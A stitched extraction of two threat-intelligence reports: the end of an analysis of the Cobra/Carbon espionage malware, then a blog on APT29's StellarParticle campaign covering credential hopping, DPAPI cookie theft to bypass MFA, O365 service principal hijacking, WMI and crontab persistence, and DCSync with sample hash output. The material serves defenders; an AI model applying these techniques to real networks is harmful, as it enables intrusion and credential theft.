https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_07_mutex.pngmd53f942f6211d5b9e0c7f067dd62e29b0fed87892aparameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D http://en.wikipedia.org/wiki/HTTP_cookie The malware can also generate POST requests.
Here is an example of the pattern:POST hxxp://s/s?
uiddcontextsmodetextdatas The malware uses the same technique as Tavdig does to receive orders.
The data can be seen between the div and the /div field in the following screenshot: Additional features Stage 3 is able to execute tasks, exactly as the orchestrator is.
The code concerning the features is exactly the same as the code the orchestrator uses.
We assume that this is the case due to copy  paste.
The user is able to execute libraries (by executing the export start()) and to execute Windows command line.
The command line can be executed with the current user privilege or with the privilege of another user (via CreateProcessA() or CreateProcessAsUserA()).
Conclusion This analysis shows us that the actors behind Uroburos, Agent.
BTZ and the Carbon System are skilled and still active.
This sample we analyzed demonstrates how the authors tried to complicate the detection and the use of Indicators of Compromise.
Summarized, some of the tricks we have encountered: use of random service names us of random file names use of random installation directory names https://blog.gdatasoftware.com/http:// https://blog.gdatasoftware.com/index.php?eIDtx_cms_showpicfilefileadmin2F01_public2FWeb2FContent2FINT2FBlog2F20152F01_20152Fgraphics_01_20152Fcobra_08_div.pngmd56673023575f6f66fb5718b05159982a31576bec1parameters5B05DYTo0OntzOjU6IndpZHRoIjtzOjQ6IjgwMG0iO3M6NjoiaGVpZ2h0IjtzOjQ6IjYwparameters5B15DMG0iO3M6NzoiYm9keVRhZyI7czo0MToiPGJvZHkgc3R5bGU9Im1hcmdpbjowOyBiparameters5B25DYWNrZ3JvdW5kOiNmZmY7Ij4iO3M6NDoid3JhcCI7czozNzoiPGEgaHJlZj0iamF2parameters5B35DYXNjcmlwdDpjbG9zZSgpOyI2BIHwgPC9hPiI7fQ3D3D configuration of the named pipe name  Carbon System is a real extensible framework with a plugin management.
As these plugins are provided by the contacted CC servers, it can be anything  nothing has to be pre-bundled.
Due to the nature of the malware attacks, we can imagine those plugins to be anything connected to cyber espionage, from keyloggers to credentials stealers, eavesdropping mechanisms and much more.
An attacked enterprise or organization would be an open book for the attackers.
The architecture is complex, with an orchestrator and a library injected into the browsers and email clients processes.
Obviously, this approach resembles what we have seen looking at Uroburos.
The framework could be considered as a draft but still very powerful version (in user-land only) of Uroburos.
We believe that Uroburos is the product of the Cobra malware evolution.
Although Uroburos is a new branch, not a linear follow-up.
Looking at the whole picture that we can draw until now, we can say that everything regarding this whole campaign is highly professional.
We have analyzed various samples and have drawn many conclusions.
Even though there are still many open questions that need to be answered, we come closer to charming the snakes  The Cobra, the venomous animal with the deadly bite, and Uroburos, the self-sustaining creepy mixture of a snake and a dragon.
This kind of herpetology became quite interesting and we are thrilled to find out more about the campaigns.
1/22 CrowdStrike Services - CrowdStrike Intelligence January 27, 2022 StellarParticle Campaign: Novel Tactics and Techniques crowdstrike.com/blog/observations-from-the-stellarparticle-campaign StellarParticle is a campaign tracked by CrowdStrike as related to the SUNSPOT implant from the SolarWinds intrusion in December 2020 and associated with COZY BEAR (aka APT29, The Dukes).
The StellarParticle campaign has continued against multiple organizations, with COZY BEAR using novel tools and techniques to complete their objectives, as identified by CrowdStrike incident responders and the CrowdStrike Intelligence team.
Browser cookie theft and Microsoft Service Principal manipulation are two of the novel techniques and tools leveraged in the StellarParticle campaign and are discussed in this blog.
Two sophisticated malware families were placed on victim systems in mid-2019: a Linux variant of GoldMax and a new implant dubbed TrailBlazer.
Supply chain compromises are an increasing threat that impacts a range of sectors, with threat actors leveraging access to support several motivations including financial gain (such as with the Kaseya ransomware attack) and espionage.
Throughout 2020, an operation attributed to the Foreign Intelligence Service of the Russian Federation (SVR) by the U.S. government was conducted to gain access to the update mechanism of the SolarWinds IT management software https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ https://www.crowdstrike.com/cybersecurity-101/cyberattacks/cyber-espionage/ 2/22 and use it to broaden their intelligence collection capabilities.
This activity is tracked by CrowdStrike as the StellarParticle campaign and is associated with the COZY BEAR adversary group.
This blog discusses the novel tactics and techniques leveraged in StellarParticle investigations conducted by CrowdStrike.
These techniques include: Credential hopping for obscuring lateral movement Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation Stealing browser cookies for bypassing multifactor authentication Use of the TrailBlazer implant and the Linux variant of GoldMax malware Credential theft using Get-ADReplAccount Credential Hopping The majority of StellarParticle-related investigations conducted by CrowdStrike have started with the identification of adversary actions within a victims O365 environment.
This has been advantageous to CrowdStrike incident responders in that, through investigating victim O365 environments, they could gain an accurate accounting of time, account and source IP address of adversary victimization of the O365 tenant.
In multiple engagements, this led CrowdStrike incident responders to identify that the malicious authentications into victim O365 tenants had originated from within the victims own network.
Armed with this information, CrowdStrike investigators were able to identify from which systems in these internal networks the threat actor was making authentications to O365.
These authentications would typically occur from servers in the environment, leading to natural investigative questions: Why would a user authenticate into O365 from a domain controller or other infrastructure server?
What credentials were used as part of the session from which the O365 authentication occurred?
This led our responders to identify the occurrence of credential hopping, where the threat actor leveraged different credentials for each step while moving laterally through the victims network.
While this particular technique is not necessarily unique to the StellarParticle campaign, it indicates a more advanced threat actor and may go unnoticed by a victim.
Below is an example of how a threat actor performs credential hopping: Gain access to the victims network by logging into a public-facing system via Secure Shell (SSH) using a local account user sftp acquired during previous credential theft activities.
Use port forwarding capabilities built into SSH on the public-facing system to establish a Remote Desktop Protocol (RDP) session to an internal server (Server 1) using a domain service account.
https://adversary.crowdstrike.com/en-US/adversary/cozy-bear/ 3/22 From Server 1, establish another RDP session to a different internal server (Server 2) using a domain administrators account.
Log in to O365 as a user with privileged access to cloud resources.
Figure 1.
Example of credential hopping technique This technique could be hard to identify in environments where defenders have little visibility into identity usage.
In the example shown in Figure 1, the threat actor leveraged a service interactively, which should generate detections for defenders to investigate.
However, the threat actor could have easily used a second domain administrator account or any other combination of accounts that would not be easily detected.
A solution such as CrowdStrike Falcon Identity Threat Detection would help identify these anomalous logons  and especially infrequent destinations for accounts.
(
Read how CrowdStrike incident responders leverage the module in investigations in this blog: Credentials, Authentications and Hygiene: Supercharging Incident Response with Falcon Identity Threat Detection.)
But how had the threat actor succeeded in authenticating into victim O365 tenants, when multifactor authentication (MFA) had been enabled for every O365 user account at each victim organization investigated by CrowdStrike?
Cookie Theft to Bypass MFA Even though the victims required MFA to access cloud resources from all locations, including on premises, the threat actor managed to bypass MFA through the theft of Chrome browser cookies.
The threat actor accomplished this by using administrative accounts to connect via SMB to targeted users, and then copy their Chrome profile directories as well as data protection API (DPAPI) data.
In Windows, Chrome cookies and saved passwords are encrypted using DPAPI.
The user-specific encryption keys for DPAPI are stored under C:\Users\user\AppData\Roaming\Microsoft\Protect\ .
To leverage these encryption keys, the threat actor must first decrypt them, either by using the user accounts Windows password, or, in Active Directory environments, by using a DPAPI domain backup key that is stored on domain controllers.
Once the threat actor had a Chrome cookies file from a user that had already passed an MFA challenge recently (for example, a timeout was 24 hours), they decrypted the cookies file using the users DPAPI key.
The cookies were then added to a new session using a Cookie Editor Chrome extension that the threat actor installed on victim systems and removed after using.
Shellbags, Falcon Telemetry and RDP Bitmap Cache https://www.crowdstrike.com/products/identity-protection/ https://www.crowdstrike.com/blog/how-crowdstrike-supercharges-incident-response-with-identity-threat-detection/ 4/22 From a forensic standpoint, the use of the Cookie Editor Chrome extension would have been challenging to identify, due to the threat actors penchant for strict operational security.
This activity was identified via a NewScriptWritten  event within Falcon when a JavaScript file was written to disk by a threat actor-initiated Chrome process.
This event captured the unique extension ID associated with the extension, thereby allowing CrowdStrike incident responders to validate via the Chrome Store that the JavaScript file was associated with the Cookie Editor plugin.
This extension permitted bypassing MFA requirements, as the cookies, replayed through the Cookie Editor extension, allowed the threat actor to hijack the already MFA-approved session of a targeted user.
Shellbags were also instrumental in identifying the cookie theft activity.
This artifact very clearly showed the threat actor accessing targeted users machines in sequence and browsing to the Chrome and DPAPI directories one after another.
Parsing Shellbags for an administrative account leveraged by the threat actor resulted in entries similar to the below.
Figure 2.
Shellbag artifacts showing targeting of Chrome directories CrowdStrike identified forensic evidence that showed the entire attack path: browsing to a target users Chrome and DPAPI directories via administrative share, installing the Cookie Editor extension, and using Chrome to impersonate the targeted user in the victims cloud tenants.
The decryption of the cookies is believed to have taken place offline after exfiltrating the data via the clipboard in the threat actors RDP session.
Figure 3.
Representation of lateral movement to cookie theft to O365 authentication 5/22 CrowdStrike identified a similar TTP where the threat actor connected via RDP to a users workstation with the workstation owners account (e.g., connecting via RDP to user1-pc using the account user1).
In cases where the user had only locked their screen and not signed out, the threat actor was able to take over the users Windows session, as the RDP session would connect to the existing session of the same user.
By examining RDP Bitmap Cache files, CrowdStrike was able to demonstrate that the threat actor had opened Chrome and exported all of the users saved passwords as plaintext in a CSV file during these sessions.
Figure 4.
RDP Bitmap Cache reconstruction showing exportation of Chrome passwords In addition, the threat actor visited sensitive websites that the user had access to, which in one instance allowed them to browse and download a victims customer list.
After this, the threat actor navigated to the users Chrome history page and deleted the specific history items related to threat actor activity, leaving the rest of the users Chrome history intact.
O365 Delegated Administrator Abuse CrowdStrike also identified a connection between StellarParticle-related campaigns and the abuse of Microsoft Cloud Solution Partners O365 tenants.
This threat actor abused access to accounts in the Cloud Solution Partners environment with legitimate delegated administrative privileges to then gain access to several customers O365 environments.
By analyzing Azure AD sign-ins, CrowdStrike was able to use known indicators of compromise (IOCs) to identify several threat actor logins to customer environments.
These cross-tenant sign-ins were identified by looking for values in the resourceTenantId  attribute that did not match the Cloud Solution Partners own Azure tenant ID.
CrowdStrike also identified a limitation within Microsofts Delegated Administration capabilities for Microsoft Cloud Solution Partners.
While a normal O365 administrator can be provided dozens of specific administrative roles to limit the privileges granted, this same 6/22 degree of customization cannot be applied to Microsoft Cloud Solution Partners that use the delegated administrator functionality in O365.
For Microsoft Cloud Solution Partners, there are only two substantial administrative options today when managing a customers environment, Admin agent  or Helpdesk agent .
The Helpdesk agent  role provides very limited access that is equivalent to a password admin role, whereas the Admin agent  role provides broad access more equivalent to global administrator.
This limitation is scheduled to be resolved in 2022 via Microsofts scheduled feature, Granular Delegated Admin Privileges (GDAP).
User Access Logging (UAL) The Windows User Access Logging (UAL) database is an extremely powerful artifact that has played an instrumental role in the investigation of StellarParticle-linked cases.
In particular, UAL has helped our responders identify earlier malicious account usage that ultimately led to the identification of the aforementioned TrailBlazer implant and Linux version of the GoldMax variant.
The UAL database is available by default on Server editions of Windows starting with Server 2012.
This database stores historical information on user access to various services (or in Windows parlance, Roles) on the server for up to three years (three years minus one day) by default.
UAL contains information on the type of service accessed, the user that accessed the service and the source IP address from which the access occurred.
One of the most useful roles recorded by UAL is the File Server role, which includes SMB access, though other role types can also be very helpful.
An overview of UAL, what information it contains and how it can be leveraged in forensic investigations can be found here.
In multiple StellarParticle-related cases, because the threat actor used the same set of accounts during their operations in the environment, CrowdStrike was able to identify previous malicious activity going back multiple years, based solely on UAL data.
Even though its only available on Server 2012 and up, UAL can still be used to trace evidence of threat actor activity on legacy systems as long as the activity on the legacy system involves some (deliberate or unintentional) access to a 2012 system.
For example, in addition to tracking SMB activity, UAL databases on Domain Controllers track Active Directory access.
This allowed CrowdStrike to demonstrate that a given user account was also authenticating to Active Directory from a given source IP address two years prior.
Because the user account was known to have recently been abused by the threat actor, and the source IP of the system in question was not one that account would typically be active on, the investigation led to the source system and ultimately resulted in the timeline of malicious activity being pushed back by years, with additional compromised systems even being discovered still running unique malware from that time period.
TrailBlazer and GoldMax 2 3 https://www.crowdstrike.com/blog/user-access-logging-ual-overview/ 7/22 Throughout StellarParticle-related investigations, CrowdStrike has identified two sophisticated malware families that were placed on victim systems in the mid-2019 timeframe: a Linux variant of GoldMax and a completely new family CrowdStrike refers to as TrailBlazer.
TrailBlazer Attempted to blend in with a file name that matched the system name it resided on Configured for WMI persistence (generally uncommon in 2019) Used likely compromised infrastructure for C2 Masquerades its command-and-control (C2) traffic as legitimate Google Notifications HTTP requests TrailBlazer is a sophisticated malware family that provides modular functionality and a very low prevalence.
The malware shares high-level functionality with other malware families.
In particular, the use of random identifier strings for C2 operations and result codes, and attempts to hide C2 communications in seemingly legitimate web traffic, were previously observed tactics, techniques and procedures (TTPs) in GoldMax and SUNBURST.
TrailBlazer persists on a compromised host using WMI event subscriptions   a technique also used by SeaDuke  although this persistence mechanism is not exclusive to COZY BEAR.
WMI event filter SELECT  FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System AND TargetInstance.
SystemUpTime  180 AND TargetInstance.
SystemUpTime  480 WMI Event consumer (CommandLineTemplate) C:\Program Files (x86)\Common Files\Adobe\ FILENAME.exe Filter to consumer binding CommandLineEventConsumer.
Name GUID1__EventFilter.
NameGUID2 Table 1.
TrailBlazer WMI Persistence In the obfuscated example above, TrailBlazer ( FILENAME .exe ) would be executed when the systems uptime was between 180 and 480 seconds.
GoldMax (Linux variant) Attempted to blend in with a file name that matched the system name it resided on Configured for persistence via a crontab entry with a reboot  line Used likely compromised infrastructure for C2 GoldMax was first observed during post-exploitation activity in the campaign leveraging the SolarWinds supply chain attacks.
Previously identified samples of GoldMax were built for the Windows platform, with the earliest identified timestamp indicating a compilation in May 2020, but a recent CrowdStrike investigation discovered a GoldMax variant built for the Linux 4 5 https://attack.mitre.org/software/S0053/ 8/22 platform that the threat actor deployed in mid-2019.
This variant extends the backdoors known history and shows that the threat actor has used the malware in post- exploitation activity targeting other platforms than Windows.
The 2019 Linux variant of the GoldMax backdoor is almost identical in functionality and implementation to the previously identified May 2020 Windows variant.
The very few additions to the backdoor between 2019 and 2020 likely reflect its maturity and longstanding evasion of detections.
It is likely GoldMax has been used as a long-term persistence backdoor during StellarParticle-related compromises, which would be consistent with the few changes made to the malware to modify existing functions or support additional functionality.
Persistence was established via a crontab entry for a non-root user.
With the binary named to masquerade as a legitimate file on the system and placed in a hidden directory, a crontab entry was created with a reboot  line so the GoldMax binary would execute again upon system reboot.
Additionally, the threat actor used the nohup  command to ignore any hangup signals, and the process will continue to run even if the terminal session was terminated.
Figure 5.
Crontab entry for GoldMax persistence Enumeration Tools/Unique Directory Structure Throughout our StellarParticle investigations, CrowdStrike identified what appeared to be a VBScript-based Active Directory enumeration toolkit.
While the scripts contents have not been recovered to date, CrowdStrike has observed identical artifacts across multiple StellarParticle engagements that suggest the same or similar tool was used.
In each instance the tool was used, Shellbags data indicated that directories with random names of a consistent length were navigated to by the same user that ran the tool.
After two levels of randomly named directories, Shellbags proved the existence of subdirectories named after the FQDNs for the victims various domains.
In addition, the randomly named directories are typically created in a previously existing directory thats one level off of the root of the C drive.
The randomly named directories have a consistent length where the first directory is six characters and the next directory is three characters.
To date, the names of the directories have always been formed from lowercase alphanumeric characters.
For example, Shellbags indicated that directories matching the naming patterns below were browsed to (where XX is a previously existing directory on the system): C:\XX\[a-z0-9]6 C:\XX\[a-z0-9]6\[a-z0-9]3 C:\XX\[a-z0-9]6\[a-z0-9]3\domain.
FQDN C:\XX\[a-z0-9]6\[a-z0-9]3\domain-2.FQDN 9/22 In each case, immediately prior to the creation of the directories referenced above, there was evidence of execution of a VBScript file by the same user that browsed to the directories.
This evidence typically came from a UserAssist entry for wscript.exe, as well as RecentApps entries for wscript.exe (that would also include the VBScript filename).
In addition, the Jump List for wscript.exe contained evidence of the VBScript files.
The name of the VBScript files varied across engagements and was generally designed to look fairly innocuous and blend in.
Two examples are env.vbs  and WinNet.vbs .
Due to the subdirectories that are named after the FQDNs for victim domains, CrowdStrike assesses with moderate confidence that the scripts represent an AD enumeration tool used by the adversary.
Internal Wiki Access Across multiple StellarParticle investigations, CrowdStrike identified unique reconnaissance activities performed by the threat actor: access of victims internal knowledge repositories.
Wikis are commonly used across industries to facilitate knowledge sharing and as a source of reference for a variety of topics.
While operating in the victims internal network, the threat actor accessed sensitive information specific to the products and services that the victim organization provided.
This information included items such as product/service architecture and design documents, vulnerabilities and step-by-step instructions to perform various tasks.
Additionally, the threat actor viewed pages related to internal business operations such as development schedules and points of contact.
In some instances these points of contact were subsequently targeted for further data collection.
The threat actors wiki access could be considered an extension of Credential Hopping described earlier.
The threat actor established RDP sessions to internal servers using privileged accounts and then accessed the wiki using a different set of credentials.
CrowdStrike observed the threat actor accessing the wiki as users who would be considered non- privileged from an Active Directory perspective but had access to sensitive data specific to the victims products or services.
At this time, the malicious access of internal wikis is an information gathering technique that CrowdStrike has only observed in StellarParticle investigations.
CrowdStrike was able to identify the wiki access primarily through forensic analysis of the internal systems used by the threat actor.
Given the threat actors penchant for clearing browser data, organizations should not rely upon the availability of these artifacts for future investigations.
CrowdStrike recommends the following best practices for internal information repositories: Enable detailed access logging Ensure logs are centralized and stored for at least 180 days Create detections for anomalous activity such as access from an unusual location like a server subnet Enable MFA on the repository site, or provide access via Single Sign On (SSO) behind MFA 6 10/22 O365 Built-in Service Principal Hijacking The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass  to circumvent the execution policy.
Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victims O365 tenant and began performing enumeration queries.
These queries were recorded in text-based logs that existed under the path C:\Users\user\AppData\Local\Microsoft\Office365\Powershell\ .
Similar logs (for Azure AD instead of O365) can be found under the path: C:\Users\user\AppData\Local\Microsoft\AzureAD\Powershell\ .
While the logs didnt include what data was returned by the queries, they did provide some insight such as the user account used to connect to the victims O365 tenant (which was not the same as the user the threat actor used to RDP to the vCenter server).
The logs contained commands issued and the count of the results returned for a specific command.
The commands included enumeration queries such as: ListAccountSkus ListPartnerContracts ListServicePrincipals ListServicePrincipalCredentials ListRoles ListRoleMembers ListUsers ListDomains GetRoleMember GetPartnerInformation GetCompanyInformation In this case, however, the most significant and concerning log entry was one that indicated the command AddServicePrincipalCredentials  was executed.
By taking the timestamp that the command was executed via the PowerShell logs on the local system, CrowdStrike analyzed the configuration settings in the victims O365 tenant and discovered that a new secret had been added to a built-in Microsoft Azure AD Enterprise Application, Microsoft StaffHub Service Principal, which had Application  level permissions.
Further, the newly added secret was set to remain valid for more than a decade.
This data was acquired by exporting the secrets and certificates details for each Azure AD Enterprise Application.
The Service Principal (now renamed to Microsoft Teams Shifts ) had the following permissions at the time the configuration settings were collected: 11/22 Member.
Read Member.
Read.
All Member.
ReadWrite Member.
ReadWrite.
All Shift.
Read Shift.
Read.
All Shift.
ReadWrite Shift.
ReadWrite.
All Team.
Read Team.
Read.
All Team.
ReadWrite Team.
ReadWrite.
All User.
Read.
All User.
ReadWrite.
All WebHook.
Read.
All WebHook.
ReadWrite.
All CrowdStrike was unable to find Microsoft documentation, but based on open-source research, this application likely had the following permissions around the time of registration: Mail.
Read Group.
Read.
All Files.
Read.
All Group.
ReadWrite.
All The most notable permissions above are the Mail.
Read , Files.
Read  and Member.
ReadWrite   permissions.
These permissions would allow the threat actor to use the Microsoft Staffhub  service principal to read all mail and SharePoint/OneDrive files in the organization, as well as create new accounts and assign administrator privileges to any account in the organization.
By running the commands from within the victims environment, MFA requirements were bypassed due to conditional access policies not covering Service Principal sign-ins at this point of time.
However, as explained earlier, the threat actor managed to continue to access the victims cloud environment even when the victim enforced MFA for all connections regardless of source.
While the bulk of the evidence for this activity came from the text-based O365 PowerShell logs, the NTUSER.DAT  registry hive for the user that was running the PowerShell cmdlets also included information on the accounts that were used to authenticate to the cloud.
This information was stored under the registry path.
Below is an example of the registry data: 7 8 12/22 Figure 6.
Example registry entry showing target O365 email accounts The same WSMan connection string was also located in the users  NTUSER.DAT  registry hive under the path: Figure 7.
WSMan connection string registry location While not strictly related to the O365 PowerShell activity, the Windows Event Log Microsoft-Windows-WinRM4Operational.evtx  also included information on connection attempts made to external O365 tenants.
This information was logged under Event ID 6.
Below is an example of what the event included: Figure 8.
Windows Event Log entry showing connection to O365 tenants O365 Company Service Principal Manipulation The threat actor also deployed several layers of persistence utilizing both pre-existing and threat actor-created Service Principals with the ultimate goal of gaining global access to email.
Attacker-created Service Principal First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name.
This Service Principal was granted company administrator privileges.
From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account.
These actions were recorded in Unified Audit Logs with the following three operation names: Add service principal Add member to role Add service principal credentials.
Update Service Principal Company-Created Service Principal Hijacking Next, the threat actor utilized the threat actor-created Service Principal to take control of a second Service Principal.
This was done by adding credentials to this second Service Principal, which was legitimately created by the company.
This now compromised company-created Service Principal had mail.read  graph permissions consented on behalf of all users within the tenant.
13/22 This action was recorded by just one operation type in Unified Audit Logs.
This operation type is named Add service principal credentials .
Mail.
Read Service Principal Abuse Finally, the threat actor utilized the compromised Service Principal with the assigned mail.read  permissions to then read emails of several different users in the companys environment.
CrowdStrike was able to use the Unified Audit Logs (UAL) MailItemsAccessed  operation events to see the exact emails the threat actor viewed, as the majority of the users in the tenant were assigned O365 E5 licenses.
When performing analysis on the UAL, CrowdStrike used the ClientAppId  value within the MailItemsAccessed  operation and cross-correlated with the Application ID of the compromised service principal to see what activities were performed by the threat actor.
O365 Application Impersonation Another consistent TTP identified during StellarParticle investigations has been the abuse of the ApplicationImpersonation  role.
When this role was assigned to a particular user that was controlled by the threat actor, it allowed the threat actor to impersonate any user within the O365 environment.
These impersonated events are not logged verbosely by the Unified Audit Logs and can be difficult to detect.
While the assignment of these ApplicationImpersonation  roles were not logged in the Unified Audit Logs, CrowdStrike was able to identify this persistence mechanism via the management role configuration settings, which can be exported with the Exchange PowerShell command: Get-ManagementRoleAssignment -Role ApplicationImpersonation .
CrowdStrike then analyzed the exported configuration settings and identified several users (not service accounts) that the threat actor likely gave direct ApplicationImpersonation roles during the known periods of compromise.
Remote Tasklist The threat actor attempted to remotely list running processes on systems using tasklist.exe .
As tasklist uses WMI under the hood, this activity was captured by Falcon as SuspiciousWmiQuery  events that included the query and the source system.
Additionally, the failed (not successful) process listing resulted in a DCOM error that was logged in the System.evtx event log under Event ID 10028.
A sample of the information included with this event is below: 9 14/22 Figure 9.
Event ID 10028 showing failed execution of remote tasklist This remote process listing was consistently used by the threat actor targeting the same or similar lists of remote systems, and the owners of the targeted systems also happened to be the individuals with cloud access that the threat actor was interested in.
While unproven, its possible the threat actor was running tasklist  remotely on these systems specifically to see which of the target systems was running Google Chrome.
This is because a current or recent Chrome session to the victims cloud tenants would be potentially beneficial in the hijacking of sessions that the threat actor performed in order to access the victims cloud resources.
FTP Scanning/Identity Knowledge In one instance, after being evicted from a victim environment, the threat actor began probing external services as a means to regain access, initially focusing on (S)FTP servers that were internet-accessible.
Logs on the servers indicated that the threat actor attempted to log in with multiple valid accounts and in several cases was successful.
There was little to no activity during the (S)FTP sessions.
This likely was an exercise in attempting to identify misconfigured (S)FTP accounts that also had shell access, similar to whats described in the Credential Hopping section earlier.
Some of the accounts used were not in the victims Active Directory, as these were accounts for customers of the victim and stored in a separate LDAP database.
However, the threat actor had knowledge of these accounts and used them on the correct systems, which further confirmed that the threat actor had advanced knowledge of the victims environment.
After confirming the FTP accounts did not provide shell access into the environment, the threat actor began attempting to connect into the environment via VPN.
The threat actor attempted to log in to the VPN using several user accounts but was prevented from connecting, either due to not having the correct password, or due to having the correct password but not getting past the recently implemented MFA requirement.
Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA.
This resulted in a prompt being displayed to the threat actor that included an MFA setup link.
The threat actor subsequently set up MFA for the account and successfully connected to the victims network via VPN.
TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victims environment.
This again showed a strong knowledge of the victims internal environment on the part of the threat actor.
Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what 15/22 would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname).
This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations.
Credential Theft Using Get-ADReplAccount In one example, the threat actor connected into the victims environment via a VPN endpoint that did not have MFA enabled.
Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals  PowerShell module to the system.
The threat actor subsequently ran the DSInternals command Get- ADReplAccount  targeting two of the victims domains.
This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions.
A common name for this particular technique is DCSync.
An example output from Get-AdReplAccount is below: 10 11 16/22 DistinguishedName: CNTestUser,OUAdmins,OUUsers,DCdemo,DClocal Sid: S-1-5-21-1432446722-301123485-1266542393-2012 Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567 SamAccountName: TestUser SamAccountType: User UserPrincipalName: TestUserdemo.local PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl: NormalAccount AdminCount: True Deleted: False LastLogonDate: 12/2/2021 1:41:46 PM DisplayName: TestUser GivenName: Test Surname: User Description: Admin Account ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1432446722-301123485-1266542393-512 Secrets NTHash: 84a058676bb6d7de4237e18f09b91156 LMHash: NTHashHistory: Hash 01: 84a058676bb6d7de4237e18f09b91156 Hash 02: e047ebb3b7c463928c928fca95ac0ac8 Hash 03: 6dc3cdb3e559ef00d3521351ace7477e Hash 04: a88355849f35fe7336de23a4ca3e6a9e Hash 05: de9bde95677672295349aa6e1e857704 LMHashHistory: Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668 Hash 02: 6a028636a6f52491424586bb88357f7c Hash 03: c13ef7347853dc3be7e7259fdc8818a1 Hash 04: 6635151746869ce485246037747adae1 Hash 05: 85543f498b007e07a3da662c8a9d450b SupplementalCredentials: ClearText: NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649 Kerberos: Credentials: DES_CBC_MD5 Key: 0013364f00003915 DES_CBC_CRC Key: 0013364f00003915 OldCredentials: DES_CBC_MD5 Key: 00002a46000004bc DES_CBC_CRC Key: 00002a46000004bc Salt: demo.localTestUser Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 17/22 Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: f67c2bcbfcfa30fccb36f72dca22a817 Iterations: 4096 DES_CBC_MD5 Key: 00002f34000004ee Iterations: 4096 DES_CBC_CRC Key: 00002f34000004ee Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: dc34bfd5e469edbeada77fac56aa35ae Iterations: 4096 DES_CBC_MD5 Key: 0000345400000520 Iterations: 4096 DES_CBC_CRC Key: 0000345400000520 Iterations: 4096 OlderCredentials: AES256_CTS_HMAC_SHA1_96 Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087 Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: c38dfbd6c00b5f3b010a07f9e824fc38 Iterations: 4096 DES_CBC_MD5 Key: 000039a500000551 Iterations: 4096 DES_CBC_CRC Key: 000039a500000551 Iterations: 4096 ServiceCredentials: Salt: demo.localTestUser DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: 83ed141ab0eaf1ff7694147ba97e1994 Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 03: 0c228c5816a79e561d999d489499a12a Hash 04: 83ed141ab0eaf1ff7694147ba97e1994 Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93 Hash 07: 83ed141ab0eaf1ff7694147ba97e1994 Hash 08: 10265b08a3bb710da516832eaf64368a Hash 09: 10265b08a3bb710da516832eaf64368a Key Credentials: Credential Roaming Created: Modified: Credentials: 18/22 Figure 10.
Get-ADReplAccount example output When executing the Get-ADReplAccount  command, the threat actor specified the AD context to be targeted via the NamingContext parameter.
This was necessary, as the threat actor was targeting multiple domains.
The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration.
The fact that Get-ADReplAccount  command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed.
Credential Refresh On some investigations, the dwell time of the threat actor spanned years.
Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations.
To combat this, the threat actor periodically refreshed their credential set by performing credential theft activities in an already compromised environment.
At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique.
One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory.
While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256.
CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the scripts execution was logged automatically due to the use of specific keywords.
CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above.
In addition to refreshing the threat actors credentials, the threat actor would also refresh their understanding of the victims AD environment.
